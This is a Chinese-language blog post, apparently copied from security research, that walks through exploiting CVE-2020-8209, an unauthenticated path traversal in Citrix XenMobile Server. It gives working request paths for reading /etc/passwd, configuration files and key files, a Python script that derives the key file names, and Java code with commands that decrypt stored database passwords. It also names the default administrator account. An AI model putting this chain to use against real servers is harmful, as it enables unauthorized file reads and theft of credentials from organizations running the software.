java遍历目录下所有文件_XenMobile目录遍历任意文件读取(CVE-2020-8209)

52d324b497df84405a89b6d6bba32841.png

利用此漏洞,可以读取Web服务器根目录之外的任意文件,包括配置文件和敏感的加密密钥。不需要授权。

2b283a7161e17f1864606ca0659ae174.png

POC(路径遍历)

/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd

6e9df8ad59331b835b58867ab666969b.png

解密配置密码 读取配置

/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/sw/config/sftu.properties

4609dcfc344f321f37e2f711eb07ece4.png

密码已加密并以以下两种格式之一存储:{aes} [base64文本]或{aes} {db} [base64文本]。加密由库/opt/sas/sw/lib/libsecure.so和DataSecurity.jar处理。为了解密,需要相应的密钥。 它们位于文件/opt/sas/rt/keys/security.properties,可以使用路径遍历漏洞进行下载。

3ae95c970509d3631a2772077ec591ef.png

使用算法对每个参数P.TXT1,P.TXT2,P.TXT3进行哈希处理

d564ec8ea79d9eca40bed8e40d248653.png

test.py

from base64 import b64encode
from hashlib import sha256
print(b64encode(sha256(b'xxsbovqwtroclyjdrmgk').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'zxxwzveilgqsxhphdveh').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'pxicutcshrkhkyxpyvdg').digest()).decode('ascii').translate({47:None,61:None}))

158b630c39664a8cf2eabc304b1369ac.png

生成三个文件dsOeANynxbfe7P0kyRVi3iQKasokNlE8HieMubzsu1Q.txt +KRGo56ae0r6+xnuKQZaYkeJSPl5qjqJ5gs459tNg.txt ANDHaDrHC4m3G2ut1DkkY1IM0N9ok4R6r+gEVGv9+8.txt,通过遍历下载下来。 坑点:"+"号转义为%2b

/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/rt/keys/dsOeANynxbfe7P0kyRVi3iQKasokNlE8HieMubzsu1Q.txt

c7f6ef9e1f7d3776a4a6e419f9c43dab.png
/jsp/help-sb-download.jsp?
sbFileName=../../../opt/sas/rt/keys/+KRGo56ae0r6+xnuKQZaYkeJSPl5qjqJ5gs459tNg.txt

011d5213bd2697ff7d94f5b1869529a5.png
/jsp/help-sb-download.jsp?sbFileName=../../../opt/sas/rt/keys/ANDHaDrHC4m3G2ut1DkkY1IM0N9ok4R6r+gEVGv9+8.txt

57c4e9ba8a251e5e5c7931448df9fe5d.png

/opt/sas/sw/lib/libsecure.so需要用于加密的库。

ba0f3962d2729330b0972c631bcb1865.png

当务之急是这些文件(security.properties,dsOeANynxbfe7P0kyRVi3iQKasokNlE8HieMubzsu1Q.txt +KRGo56ae0r6+xnuKQZaYkeJSPl5qjqJ5gs459tNg.txt ANDHaDrHC4m3G2ut1DkkY1IM0N9ok4R6r+gEVGv9+8.txt,libsecure.so),以保存到本地。 坑点:以上5个文件必须放在对应web目录,并且opt在根目录。

4e8cab13905b80fff4487fee3f739f4b.png

还需要三个Java库,保存到一个文件夹:/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/DataSecurity.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/common-interfaces.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/slf4j-api-1.6.4.jar。 在文件夹中,创建一个decrypt.class包含以下内容的文件并进行编译。 javac -cp DataSecurity.jar decrypt.java

import com.citrix.xms.security.DataSecurity;

class decrypt {
    public static void main(String[] args) {
        if (args.length < 1) {
            System.out.println("Usage:n    decrypt [encrypted string]");
            return;
        }
        System.out.println(DataSecurity.decryptDbPassword(args[0]));
    }
}

b114dca91eb9b677aa90f59210ce3693.png

通过正确排列所有数据,我们可以从配置文件中解密密码。

java -cp ./DataSecurity.jar:./common-interfaces.jar:./slf4j-api-1.6.4.jar:. decrypt {aes}{db}trsPTT4DkG9nMqXpv1Mi8H8nTQBMqqINy+G4VcMgyyE= 2>/dev/null

6ce396be98b8169cb73504d8b2953f28.png

web控制台默认用户Administrator

引用文章 https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值